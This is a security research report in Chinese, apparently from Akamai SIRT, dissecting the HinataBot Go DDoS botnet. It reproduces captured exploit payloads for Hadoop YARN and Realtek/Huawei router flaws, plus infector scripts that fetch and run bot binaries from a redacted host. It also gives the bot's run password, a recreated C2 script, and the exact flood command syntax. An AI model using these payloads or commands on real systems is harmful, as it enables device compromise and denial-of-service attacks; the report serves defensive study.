揭露 HinataBot：深入探讨基于 Go 的威胁
编辑和内容补充：Tricia Howard
执行摘要
Akamai 安全情报响应团队 (SIRT) 的研究人员发现了一种基于 Go 的全新 DDoS 僵尸网络。该恶意软件已被其开发者命名为“Hinata”，这是热门动漫系列《火影忍者》中的一个角色。我们将该恶意软件称为“HinataBot”。
2023 年的前三个月，我们发现了 HinataBot 的传播迹象，而且它的开发者/操作者正在积极更新代码。
研究人员在滥用旧漏洞和弱凭据的 HTTP 和 SSH 蜜罐中发现了相关样本。
观察到的感染尝试包括在 Realtek SDK 设备 (CVE-2014-8361)、华为 HG532 路由器 (CVE-2017-17215) 和已暴露的 Hadoop YARN 服务器（无 CVE）上利用 miniigd SOAP 服务。
通过对恶意软件进行逆向工程并对命令与控制 (C2) 服务器进行模拟，我们得以深入了解该恶意软件的运作方式及其产生的攻击流量有何独特之处。
HinataBot 简介
HinataBot 是 Akamai SIRT 安全研究人员近期在 HTTP 和 SSH 蜜罐中发现的基于 Go 的恶意软件。该特殊样本因其规模较大且在其较新的哈希值周围缺乏特定标识而浮出水面。该恶意软件的二进制文件被其开发者命名为热门动漫系列《火影忍者》中的一个角色，其文件名结构诸如“Hinata-<OS>-<Architecture>”等。
基于 Go 的新兴威胁列表不断壮大，HinataBot 是其中的新近威胁，这些新兴威胁包括各种僵尸网络，例如 GoBruteForcer 和近期由 SIRT 发现的 kmsdbot。攻击者一直都在利用 Go，以获享其高性能、多线程易用性、多架构和操作系统交叉编译支持等优势，但可能是因为 Go 在编译时增加了复杂性，所以对生成的二进制文件进行逆向工程的难度也随之加大。
HinataBot 采用各种通信方法发起攻击，如拨出和侦听传入连接。我们还观察到，它曾发起过分布式拒绝服务 (DDoS) 泛洪攻击，这类攻击利用 HTTP、UDP、TCP 和 ICMP 等协议发送流量。然而，在最新版本中，HinataBot 将其攻击方法减少为仅限 HTTP 和 UDP 攻击。
HinataBot 的感染活动
根据观察，HinataBot 的传播方法结合了利用两个主要漏洞的感染脚本和完整攻击载荷：Hadoop YARN RCE（图 1），以及利用 Realtek SDK 设备 miniigd SOAP 服务中的漏洞（CVE-2014-8361，图 2）。
/ws/v1/cluster/apps
{"application-id": "application_1404198295326_0003", "application-name": "get-shell", "am-container-spec": {"commands": {"command": "wget http://xxx.xxx.xxx.xxx/bins/hinata-linux.amd64 && chmod +x hinata-linux.amd64 && ./hinata-linux.amd64 &"}}, "application-type": "YARN"}
图 1：通过 Hadoop YARN RCE 传播攻击载荷
/picsdesc.xml
<?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47450</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /tmp/; rm -rf *; wget http://xxx.xxx.xxx.xxx/bins/hinata-linux.mips`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
图 2：通过 CVE-2014-8361 传播攻击载荷
2023 年 1 月 11 日至 1 月 16 日这些天曾发生过此类攻击。攻击者使用了多个版本的感染程序脚本，并且攻击者会不断更新这些脚本。在这些脚本中，两个主要脚本被命名为“wget.sh”（图 3）和“tftp.sh”（图 4），以反映了各自用于获取相应攻击载荷的协议。
cd /tmp cd /var/run cd /mnt cd /root cd /; wget http://xxx.xxx.xxx.xxx/bins/hinata-aix.ppc64; chmod +x hinata-aix.ppc64; ./hinata-aix.ppc64; rm -rf hinata-aix.ppc64;
cd /tmp cd /var/run cd /mnt cd /root cd /; wget http://xxx.xxx.xxx.xxx/bins/hinata-android.386; chmod +x hinata-android.386; ./hinata-android.386; rm -rf hinata-android.386;
cd /tmp cd /var/run cd /mnt cd /root cd /; wget http://xxx.xxx.xxx.xxx/bins/hinata-android.amd64; chmod +x hinata-android.amd64; ./hinata-android.amd64; rm -rf hinata-android.amd64;
图 3：使用 wget 下载攻击载荷的感染程序脚本 wget.sh
cd /tmp cd /var/run cd /mnt cd /root cd /; ftpget -v -u anonymous -p anonymous -P 21 xxx.xxx.xxx.xxx hinata-aix.ppc64 hinata-aix.ppc64; chmod +x hinata-aix.ppc64; ./hinata-aix.ppc64; rm -rf hinata-aix.ppc64;
cd /tmp cd /var/run cd /mnt cd /root cd /; ftpget -v -u anonymous -p anonymous -P 21 xxx.xxx.xxx.xxx hinata-android.386 hinata-android.386; chmod +x hinata-android.386; ./hinata-android.386; rm -rf hinata-android.386;
cd /tmp cd /var/run cd /mnt cd /root cd /; ftpget -v -u anonymous -p anonymous -P 21 xxx.xxx.xxx.xxx hinata-android.amd64 hinata-android.amd64; chmod +x hinata-android.amd64; ./hinata-android.amd64; rm -rf hinata-android.amd64;
图 4：使用 ftp 下载攻击载荷的感染程序脚本 tftp.sh
在 SSH 蜜罐中，攻击者采用暴力攻击手段，尝试使用常见的用户名和密码组合。在成功登录后，攻击者会打开 shell 并继续执行图 5 中的操作。
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://xxx.xxx.xxx.xxx/wget.sh; curl -O http://xxx.xxx.xxx.xxx/wget.sh; chmod 777 *; tftp -g xxx.xxx.xxx.xxx -r wget.sh; tftp xxx.xxx.xxx.xxx -c get wget.sh; tftp -r wget.sh -g xxx.xxx.xxx.xxx; sh wget.sh; tftp -g xxx.xxx.xxx.xxx -r tftp.sh; tftp xxx.xxx.xxx.xxx -c get tftp.sh; tftp -r tftp.sh -g xxx.xxx.xxx.xxx; chmod 777 *; sh tftp.sh; rm -rf *.sh; history -c; cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; busybox wget http://xxx.xxx.xxx.xxx/wget.sh; busybox curl -O http://xxx.xxx.xxx.xxx/wget.sh; busybox chmod 777 *; busybox tftp -g xxx.xxx.xxx.xxx -r wget.sh; busybox tftp xxx.xxx.xxx.xxx -c get wget.sh; busybox tftp -r wget.sh -g xxx.xxx.xxx.xxx; sh wget.sh; busybox tftp -g xxx.xxx.xxx.xxx -r tftp.sh; busybox tftp xxx.xxx.xxx.xxx -c get tftp.sh; busybox tftp -r tftp.sh -g xxx.xxx.xxx.xxx; busybox chmod 777 *; sh tftp.sh; rm -rf *.sh; history -c;
图 5：尝试在 Cowrie 蜜罐中下载攻击载荷的 shell 脚本
HinataBot 恶意软件以 Go 二进制文件的形式分发，以便在各种架构和操作系统上运行。近年来，恶意软件开发者为多个平台开发专用攻击载荷的趋势愈演愈烈（图 6），这可能是由于交叉编译较为容易，以及物联网 (IoT) 和小型办公室/家庭办公设备运行的往往是不太常见的 CPU 架构，而经证实，这些设备俨然已成为攻击者的目标。
http://xxx.xxx.xxx.xxx/bins/hinata-openbsd-arm5
http://xxx.xxx.xxx.xxx/bins/hinata-openbsd-arm6
http://xxx.xxx.xxx.xxx/bins/hinata-openbsd-arm64
http://xxx.xxx.xxx.xxx/bins/hinata-openbsd-arm7
http://xxx.xxx.xxx.xxx/bins/hinata-openbsd-mips64
http://xxx.xxx.xxx.xxx/bins/hinata-plan9-386
http://xxx.xxx.xxx.xxx/bins/hinata-plan9-amd64
http://xxx.xxx.xxx.xxx/bins/hinata-plan9-arm
http://xxx.xxx.xxx.xxx/bins/hinata-plan9-arm5
http://xxx.xxx.xxx.xxx/bins/hinata-plan9-arm6
http://xxx.xxx.xxx.xxx/bins/hinata-plan9-arm7
http://xxx.xxx.xxx.xxx/bins/hinata-solaris-amd64
http://xxx.xxx.xxx.xxx/bins/hinata-windows-386.exe
http://xxx.xxx.xxx.xxx/bins/hinata-windows-amd64.exe
http://xxx.xxx.xxx.xxx/bins/hinata-windows-arm
http://xxx.xxx.xxx.xxx/bins/hinata-windows-arm5
http://xxx.xxx.xxx.xxx/bins/hinata-windows-arm6
http://xxx.xxx.xxx.xxx/bins/hinata-windows-arm64.exe
http://xxx.xxx.xxx.xxx/bins/hinata-windows-arm7
http://xxx.xxx.xxx.xxx/bins/hinata-linux.amd64
图 6：各种操作系统和架构组合中的攻击载荷
通过利用分布式 IP 作为跳板，我们能够识别出两个以前用于传播的额外 IP。在每种情况下，跳板 IP 都用作代理。进一步的分析表明，攻击者在开发他们自己的基于 Go 的恶意软件之前，曾试图传播一个通用的 Mirai 变体，该变体以 UPX 打包并使用了一个不易识别的名称（图 7）。
tftp://xxx.xxx.xxx.xxx/tftp.sh
http://xxx.xxx.xxx.xxx/wget.sh
tftp://xxx.xxx.xxx.xxx/wget.sh
http://xxx.xxx.xxx.xxx/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.x86
图 7：各种感染程序脚本和通用 Mirai 二进制文件
早在 2022 年 12 月，恶意软件便进行了第一次传播尝试，并使用了截然不同的感染脚本（图 8）。这些较早的脚本可能是开发者运行的初始攻击测试，以判断其策略和工具是否有效。
# Hinata
# Get the Kernel Name
# wget http://xxx.xxx.xxx.xxx/infect.sh && chmod +x infect.sh && ./infect.sh && rm -rf infect.sh
Kernel=$(uname -s)
case $Kernel in
Linux) Kernel="linux" ;;
Darwin) Kernel="darwin" ;;
Windows) Kernel="windows" ;;
Android) Kernel="android" ;;
FreeBSD) Kernel="freebsd" ;;
Dragonfly) Kernel="dragonfly" ;;
OpenBSD) Kernel="openbsd" ;;
NetBSD) Kernel="netbsd" ;;
Solaris) Kernel="solaris" ;;
*) echo "Your Operating System -> ITS NOT SUPPORTED" ; exit 1 ;;
esac
# Get the machine Architecture
Architecture=$(uname -m)
case $Architecture in
x86) Architecture="x86" ;;
ia64) Architecture="ia64" ;;
i?86) Architecture="x86" ;;
amd64) Architecture="amd64" ;;
x86_64) Architecture="amd64" ;;
sparc64) Architecture="sparc64" ;;
i386) Architecture="i386" ;;
arm64) Architecture="arm64" ;;
arm7) Architecture="arm" ;;
armc) Architecture="arm" ;;
386) Architecture="386" ;;
mips) Architecture="mips" ;;
mipsle) Architecture="mipsle" ;;
mips64) Architecture="mips64" ;;
mips64le) Architecture="mips64le" ;;
ppc64) Architecture="ppc64" ;;
ppc64le) Architecture="ppc64le" ;;
s390x) Architecture="s390x" ;;
riscv64) Architecture="riscv64" ;;
*) echo "Your Architecture '$Architecture' -> ITS NOT SUPPORTED." ; exit 1 ;;
esac
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /;
wget http://xxx.xxx.xxx.xxx/bins/hinata-$Kernel-$Architecture;
curl -O http://xxx.xxx.xxx.xxx/bins/hinata-$Kernel-$Architecture;
chmod +x *;
./hinata-$Kernel-$Architecture;
图 8：传统感染脚本
此外，我们还能够识别出另一个漏洞，攻击者滥用该漏洞来分发其感染程序脚本的早期版本（图 9）。漏洞 CVE-2017-17215会影响华为 HG532 路由器并允许任意远程代码执行。
/ctrlt/DeviceUpgrade_1
<?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://xxx.xxx.xxx.xxx/KKveTTgaAAsecNNaaaa/KKveTTgaAAsecNNaaaa.mips; chmod 777 *; ./KKveTTgaAAsecNNaaaa.mips)>NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
图 9：利用 CVE-2017-17215 感染华为 HG532 路由器
HinataBot 背后的攻击者至少从 2022 年 12 月开始就一直处于活跃状态，但直到 2023 年 1 月中旬他们才开始开发自己的恶意软件。从那时起，我们就观察到该恶意软件的多次迭代和感染技术的各种转换。用于传播以及命令与控制 (C2) 连接的主要 IP 惯常用于垃圾邮件和恶意软件传播。目前，尚不完全清楚该 IP 是被恶意设计出来的，还是只是遭到入侵和滥用。
Mirai 的影响
如前所述，HinataBot 背后的攻击者起初传播的是 Mirai 二进制文件，这些二进制文件是一开始以物联网设备为攻击目标的知名恶意软件系列，是开源软件，并不断被各攻击者和团伙所利用（并因此不断得到演变）。如今，许多开发者、攻击者和团伙构建的多种变体和僵尸网络都与 Mirai 密不可分。
通过查看 DNS 历史记录，我们可以发现，就在 2023 年 2 月，与 HinataBot 新近关联的 IP 正在解析域名“hihi.mirailovers.pw”（图 10）。
图 10：历史 DNS 解析
攻击者曾多次公开尝试用 Go 重写 Mirai，而 HinataBot 似乎遵循与其中一些尝试相类似的结构。例如，HinataBot 在其主要攻击方法中建立通信的方式以及在其攻击方法中解析命令和开始攻击的方式都类似于其他基于 Go 的 Mirai 变体中所使用的结构。
值得注意的是，HinataBot 仍处于开发阶段并且在不断演变。因此，很难预测该恶意软件将如何变化以及它未来将演变成何种形式。
初次发现
起初，我们尝试访问新近的分布式 IP，尽管可对其执行 ping 操作，但我们无法直接从服务器下载样本。这可能表明攻击者已经实施了保护机制，或者他们在传播恶意软件后删除了样本，使得在直接攻击之外更难以获得这些样本。在来自相同攻击者的早期攻击活动中，我们观察到看似随机的名称模式（参见图 9）。
幸运的是，我们能够通过我们的自动分析工具获得样本，在起初感染时该工具为我们存储了一个样本。我们从我们的恶意软件存储库中下载了 MIPS32 和 x86-64 版本并开始静态分析。这两个二进制文件均通过 Go 编写，但却易于使用，因为未损坏、未打包且未剥离（图 11）。在本文发布之前，这些二进制文件的版本已经被删除，这将使未来的逆向工程更具挑战性。
$ file hinata
hinata: ELF 32-bit MSB executable, MIPS, MIPS32 version 1 (SYSV), statically linked, Go BuildID=gfgPbqdcg0-yRmHHtXPR/IBS6ZkQMVMHVV2qxav1B/EFvlrym6DccdYqeOZ5d7/cclENKTkTyznOj0NvSFl, not stripped
图 11：在 Hinata 上运行“文件”命令
起初，我们开始分析两个月前的 HinataBot 恶意软件样本（图 12），但后来我们发现了一个更新的样本（图 13），该样本于我们在日志中发现该恶意软件的同一天发布。随后，我们改为分析较新的样本。
这两个版本之间的主要区别在于，较新的样本已经过精简并具有更多模块化功能。此外，较新的样本包括一些原始版本中没有的基本安全措施。我们将在 本文后面的内容中更详细地探讨这些差异。
hinata-linux-mips
5.98 MB
995681f388f5e0a405c282ae9ce22dc41f2249f0f5208254e1eec6e302d7ad7d
图 12：2023 年 1 月的 HinataBot 样本
hinata-linux-mips
4.49 MB
71154ad6bd1a8a79fc674c793bb82b8e7d1371eca0f909c6e4a98ef8e7f5d1da
图 13：2023 年 3 月的 HinataBot 样本
在我们的分析过程中，有几个函数比较引人注目。三个不同的攻击函数立即引起了我们的注意： sym.main.startAttack、 sym.main.http_flood和 sym.main.udp_flood （图 14）。这些函数的命名表明该恶意软件旨在发起 DDoS 攻击。
图 14：已发现的攻击函数
通过对该恶意软件的进一步分析，我们发现了对 C2 通信的引用，这进一步表明 HinataBot 参与了 DDoS 攻击型僵尸网络构建活动（图 15）。
图 15：初次引用 C2 服务器
了解与 C2 通信的机制
为了解 HinataBot 恶意软件如何与其 C2 建立连接，我们从“Connection to CNC is OK!”字符串开始逆向分析，并开始搜索对该字符串的交叉引用（图 16）。此过程使我们能够了解该恶意软件与其 C2 通信的机制。
图 16：寻找对成功连接字符串的交叉引用
最终，我们的调查指向了 HinataBot 的 C2 服务器，该服务器在感染活动期间在传播恶意软件的同一 IP 上侦听 TCP/1420（图 17）。
图 17：发现命令和控制服务器
查看汇编代码的另一个发现是，对用于连接的 API（“API_CONNECTION_ATTACK”）的引用，以及我们急于尝试的大量可能的命令发回受感染设备（图 18）。
图 18：初次引用 API
此时，我们确信我们拥有的样本将连接回分发/C2 服务器以通知 C2，该爬虫程序已启动且正在运行并等待命令，但 C2 服务器现在处于离线状态。
一项值得关注的观察结果是，HinataBot 还在 TCP/61420 上打开了自己的侦听端口（图 19）。由于我们这项研究的主要目标是为了更好地了解该僵尸网络可以生成的攻击流量，因此我们没有花太多时间深入探究该功能，而且这似乎也超出了本文讨论的范围。
但是，我们确实注意到此侦听器的执行时间差异取决于是否与 C2 成功建立连接。在成功连接 C2 的情况下，此侦听器将在三分钟后停止运行。在无法连接 C2 的情况下，此端口将继续侦听，且没有明显的时间限制。我们需要对此端口进行额外的研究，以充分了解其为操作者提供的功能，例如，是某种点对点功能还是更新/控制/恢复功能。在撰写本文时，我们尚无法提供明确的答案。
图 19：HinataBot 在 0.0.0.0:61420 上打开侦听端口
与 HinataBot 通信
在下一阶段的调查中，我们故意感染了几台计算机并创建了一个 C2 服务器来分析 HinataBot 的交互、安全措施和流量模式。我们将简要介绍 HinataBot 逆向过程中的一些处理和观察结果。
HINATA_START_NICE
如前所述，较新的 HinataBot 样本包含一些在之前版本中不存在的基本安全措施。第一项此类措施是密码要求。执行该样本后，其首先注意到的是未捕获异常。生成的错误消息也明确了这一点（图 20）。
图 20：HinataBot 需要密码才能运行
在仔细检查该错误消息后，我们发现该样本需要在执行时传递一个额外的参数。虽然将任何内容按字面意思传递给此参数都会让您通过该未捕获异常，但 HinataBot 只会正常地退出。从这里开始，很明显我们需要返回反汇编，看看 HinataBot 可能想要在此参数中找到什么信息。
图 21：在运行时在 HinataBot 中检查密码
我们搜索了该恶意软件样本，最终确定了 17 个字符的 (0x005fe3d2) 字符串“HINATA_START_NICE”(0x005fe3d8)（用于 sym.runtime.memequal 调用 (0x005fe3e0)），该调用将失败并导致恶意软件流向 ret 指令，从而终止执行（图 21）。我们在运行样本时使用此字符串作为参数，这会允许执行进展到更值得关注的代码。
耐人寻味的是，《火影忍者》中的“Hinata”这个动漫角色一开始是一个平和温柔的角色，之后成为一名强悍的战士，恶意软件开发者在使用“HINATA_START_NICE”参数时可能也暗示了这一点，恶意软件之后将再次与 C2 通信并参与发动攻击。
值得注意的是，从 2023 年 1 月开始，较旧的 HinataBot 恶意软件样本中不存在此密码要求，因此我们遇到的大多数感染脚本都不包含此参数。但是，在发现此要求后，通过更仔细的审查，我们能够追踪到他们较新的感染脚本（图 22），这些脚本确实在感染时将此参数传递给了二进制文件。如果 事先知道这一点就好了。
#!/bin/bash
cd /tmp cd /var/run cd /mnt cd /root cd /; wget http://xxx.xxx.xxx.xxx/bins/hinata-aix-ppc64; chmod +x hinata-aix-ppc64; ./hinata-aix-ppc64 HINATA_START_NICE; rm -rf hinata-aix-ppc64;
cd /tmp cd /var/run cd /mnt cd /root cd /; wget http://xxx.xxx.xxx.xxx/bins/hinata-android-386; chmod +x hinata-android-386; ./hinata-android-386 HINATA_START_NICE; rm -rf hinata-android-386;
cd /tmp cd /var/run cd /mnt cd /root cd /; wget http://xxx.xxx.xxx.xxx/bins/hinata-android-amd64; chmod +x hinata-android-amd64; ./hinata-android-amd64 HINATA_START_NICE; rm -rf hinata-android-amd64;
图 22：使用密码的新感染脚本
Go.123+Strings-456.Are_789-Weird
我们对 HinataBot 样本的分析显示，二进制文件中嵌入了大量超长明文字符串。Go 使用一种独特的方法来存储字符串文本，将其放在名为“字符串表”或“字符串暂存池”的连续内存块中。
因此，在对 Go 二进制文件运行字符串命令或反汇编程序时，输出可能会显示为令人费解的混杂字符，从而难以区分表中的各个字符串（图 23）。
图 23：Go 字符串示例，突出显示“API_CONNECTION”实例
其他编程语言通常会存储以 null 结尾的字节串，该技术则与此不同。如果没有这些尾部 null 字节，工具会一直读取已发现的字符串，直到遇到 null 字节。这使得对字符串的简单分析变得更具挑战性。
查看从代码段到字符串表地址段的交叉引用可有助于识别较大表中各个字符串的开始位置。通常，您还可以在加载字符串前后，或在将利用所引用字符串片段的函数调用中，识别字符串加载到寄存器中的长度（图 24）。这需要一些时间来适应，但是一旦您熟悉了该约定，就会非常简单。
图 24：使用代码段中的交叉引用映射字符串表条目
等待响应、请应答
在有了可满足密码要求的方法后，我们开始关注如何与 C2 服务器建立连接。与我们发现密码的方式类似，我们能够识别与 C2 服务器建立连接所需的握手协议的必要组件，该服务器在本研究/撰写本文时已关闭。
通过使用 netcat 侦听端口 1420，我们随后修补了该二进制文件以使用我们控制的 IP 作为 C2 服务器。连接后，我们将合适的触发器发送到受感染的设备，准备参与攻击（图 25）。
图 25：从 C2 的角度来看 HinataBot 握手会话样本
握手包括初始连接，随后爬虫程序发送“API_CONNECTION_BOT [os]/[architecture] [hostname]”消息。然后，爬虫程序会等待 C2 服务器返回一条 API_CONNECTION_SIGNAL_OK 消息，这将使爬虫程序能够侦听传入的命令（图 26）。握手结束后，我们发送 API_CONNECTION_ATTACK: 信号来发起攻击。
图 26：从爬虫程序的角度来看 HinataBot 握手会话样本
我们创建了一个非常简单的 C2 服务器，以自动维护此连接，并使我们能够修改和发送文本文件中存储的命令，而无需修改代码，以便我们能够进行简单、快速的测试（图 27）。这为我们在研究过程中节省了大量时间。
#!/usr/bin/env python
from pwn import *
import time
l = listen(1420)
l.wait_for_connection()
time.sleep(1)
l.send(b'API_CONNECTION_SIGNAL_OK')
while True:
data = l.recv()
if data:
print(time.time(), data)
if data == b'API_CONNECTION_SIGNAL_CHECK':
continue
else:
print(time.time(), 'no data recv\'d')
cmdf = open('cmd.txt','r')
cmdt = cmdf.read()
cmdf.close()
if cmdt == "":
cmdt = b'API_CONNECTION_SIGNAL_OK'
print(time.time(), 'SENT:', cmdt)
l.send(cmdt)
图 27：重新创建 C2 以维持与受感染节点的连接
尽管与 HinataBot 的这些交互非常值得关注，但我们的最终目标始终是观察恶意软件的运行情况，并了解其针对目标系统的攻击流量在网络中是什么样子。建立基本的 C2 通信后，我们立刻开始深入研究攻击命令、处理逻辑和绘制攻击命令结构。
HinataBot 原形毕露
该恶意软件的新近版本有两种主要攻击方法：HTTP 和 UDP。旧版本包含这两种攻击方法，以及利用 ICMP 和 TCP 泛洪的攻击方法。目前尚不清楚为何去掉了这些方法。
为了更仔细地了解实际的攻击流量，我们使用临时的 C2 服务器在爬虫程序向我们发送心跳时保持连接。这样，我们就可以只关注攻击命令，而不必担心与受感染设备保持连接。
经过大量的分析和测试，我们终于能够绘制出开始发起攻击和开始在线捕获数据包所需的结构和字段。恶意软件开发者利用了多个 Go 约定，如匿名函数、goroutine、通道、工作线程池和等待组，因而更难进行逆向。最终，经过大量测试，我们找出了攻击命令结构（图 28）。
API_CONNECTION_ATTACK: [ATTACK_TYPE] [TARGET] [DURATION] [UDP_OPTIONS]
图 28：攻击命令结构
一旦最终绘制出来，基本命令结构就非常简单了。攻击命令始终以 API_CONNECTION_ATTACK: 开头，后跟三个必填字段： ATTACK_TYPE、 TARGET和攻击的 DURATION。对于 udp_flood ，还有第四个攻击字段 UDP_OPTIONS。由于命令检查的发生方式，在发起 udp_flood 攻击时也需要此字段，但奇怪的是，该字段根本不需要有效。
攻击类型 0： http_flood
该 http_flood 命令似乎不使用额外的选项参数，这与 udp_flood 攻击有所不同。由于它依赖本机 net.http Go 库，因此这类攻击的大多少配置和选项解析直接来自 Go 库本身，并通过 TARGET 指令进行控制。
在图 29 的攻击命令中，我们将针对 TCP/31337 上的 127.127.127.127 发出持续 10 秒的http_flood （类型 0） 攻击 。路径、端口、GET 参数和协议都是从该目标指令中推断出来的。如果没有提供端口，端口将默认为 TCP/80。
API_CONNECTION_ATTACK: 0 http://127.127.127.127:31337/asdf?a=GETA&b=GETB 10
图 29：http_flood 攻击的攻击命令结构
如前所述，该二进制文件依靠 Go 自己的 net.http 库进行攻击。该爬虫程序通过 goroutine 创建了一个包含 512 个工作线程的工作线程池，每个工作线程都创建了自己的 net.http.Request 对象。在图 30 中，对于其工作原理，我们可以从单个工作线程中窥见一斑。
图 30：http_flood 配置标头屏幕截图
首先，创建一个新的 Context 对象和一个新的 RequestWithContext 类。此 Context 对象将被填充 HTTP 标头，这些标头将在 RequestWithContext 类的攻击期间使用。其中一些标头是静态的，而其他标头则是随机的。在图 30 中，您可以看到 Rand Seed 和 Intn 调用；这些调用将用于从二进制文件中硬编码的 10 个静态 User-Agent 列表中选择一个随机 User-Agent 。当我们分析恶意软件在 http_flood 攻击期间发出的流量时，我们将在下面讨论要查找的标头。
GET /asdf?a=GETA&b=GETB HTTP/1.1
Host: 127.127.127.127:31337
User-Agent: Mozilla/5.0 (Linux; Android 10; JSN-L21) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.58 Mobile Safari/537.36
Accept-Charset: ISO-8859-1, utf-8, Windows-1251, ISO-8859-2, ISO-8859-15
Accept-Encoding: *,identity,gzip,deflate
Cache-Control: no-cache
Connection: keep-alive
Content-Type: multipart/form-data, application/x-url-encoded
Cookies: hTjpyhseGCbpyADUlXRyQgvTmHfrr
Keep-Alive: 20319
Referer: http://127.127.127.127:31337/asdf?a=GETA&b=GETB
GET /asdf?a=GETA&b=GETB HTTP/1.1
Host: 127.127.127.127:31337
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Safari/537.36
Accept-Charset: ISO-8859-1, utf-8, Windows-1251, ISO-8859-2, ISO-8859-15
Accept-Encoding: *,identity,gzip,deflate
Cache-Control: no-cache
Connection: keep-alive
Content-Type: multipart/form-data, application/x-url-encoded
Cookies: ljwAbmstAHTcIeqkyIZVgRmJpibg
Keep-Alive: 20456
Referer: http://127.127.127.127:31337/asdf?a=GETA&b=GETB
GET /asdf?a=GETA&b=GETB HTTP/1.1
Host: 127.127.127.127:31337
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0
Accept-Charset: ISO-8859-1, utf-8, Windows-1251, ISO-8859-2, ISO-8859-15
Accept-Encoding: *,identity,gzip,deflate
Cache-Control: no-cache
Connection: keep-alive
Content-Type: multipart/form-data, application/x-url-encoded
Cookies: YnBsbIPmklTccQrcLXZeFFUJAHMa
Keep-Alive: 20084
Referer: http://127.127.127.127:31337/asdf?a=GETA&b=GETB
图 31：3 个 http_flood 样本攻击请求
让我们谈谈在模拟攻击事件期间捕获的 HTTP 标头中的一些重要观察结果。无论是在静态字段还是随机字段中，都有几个相当明显的指纹值。防御者本应看看此样本流量，但由于担心会帮助恶意软件开发者实际提高攻击能力，我们不愿意确切地强调为何此流量可能很容易被防御者发现和阻止。为了避免被恶意软件开发者恶意利用，我们可以说的是，很多攻击载荷的大小、顺序和值都基本不变。有些字段是随机字段，这些字段包括 User-Agent （来自 10 个静态 User-Agent 的列表）、Keep-Alive 和 Cookie 标头。防御者还应仔细看看图 31 中样本流量中的 Host 和 Referrer 标头。值得注意的是，如果攻击命令没有在目标指令中指定目标端口，该端口将默认为 TCP/80 或 TCP/443，并且该端口将不包含在两个标头的任何一个中。
API_CONNECTION_ATTACK: 0 https://user:pass@127.0.0.1/ouch 120
图 32：配置程度更高的 http_flood 攻击的攻击命令结构
此外，值得注意的是，由于利用了 Go net.http.Client ，这种攻击类型的配置通过目标指令来完成，并且将支持（全面且功能强大的）库所执行的任何操作。这包括 HTTPS、重定向跟踪、域解析、HTTP 身份验证标头等。在图 32 的攻击命令中，迁移到 https:// 会导致内置库利用 TLS，目标端口 443，并且由于我们将 user:pass@ 包含在目标指令中，因此流量也将包含 Authorization: Basic dXNlcjpwYXNz 标头。
在撰写本文时，攻击请求方法采用的是硬编码，因此目前仅限于 HTTP GET 请求。
攻击类型 1： udp_flood
该 udp_flood 攻击命令结构需要前面概述的所有字段，即使提供的选项不存在也是如此（图 33）。在分析和测试中，我们能够识别出用于控制目标端口的单个选项字段。如果没有传递任何选项，则二进制文件无法解析攻击命令；在某些情况下，通过此字段传递的值甚至会使爬虫程序崩溃。
API_CONNECTION_ATTACK: 1 127.127.127.127 120 1531337
图 33：发起 udp_flood 攻击的攻击命令结构
此攻击命令看起来与 http_flood 变体略有不同，主要是由于在最终参数中传递的 UDP_OPTIONS 值 (1531337)。此参数控制 UDP 数据包将发送到的目标端口。该值其实有三个部分，第一个部分是参数类型 (1)，第二个部分是值的长度 (5，而第三个部分是值本身 (31337)。
命令解析看似需要这第四个参数，但该值是可以被丢弃的，如果此处没有提供端口值，该二进制文件会将默认 UDP/80 作为攻击的目标端口。起初，假设的情况是，既然此数据以此种方式传递，我们会找到 1-9 的其他额外配置参数，但似乎只有端口参数 (1) 对使爬虫程序退出的攻击流量有一定影响。
图 34：udp_flood 攻击函数屏幕截图
图 34 的屏幕截图显示了 udp_flood 套接字的设置。它利用 Go 的 net 库（使用 net.Dial ）创建 UDP 套接字。然后，它创建了 512 个工作线程，这些工作线程共享该套接字，每个工作线程都在一个循环中运行，通过该套接字推送数据，直到持续时间计时器通过共享通道向其发送终止命令。使爬虫程序退出的 UDP 数据包（图 35）非常大（每个数据包共 65,549 字节），并且很可能以碎片形式通过互联网到达受害者处。此大小在二进制文件中进行了硬编码，并且不受攻击者每次攻击所控制。
15:59:00.451351 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.451679 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.458964 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.459266 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.460467 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.461456 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.461807 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.462932 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.463561 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.463786 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.465147 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
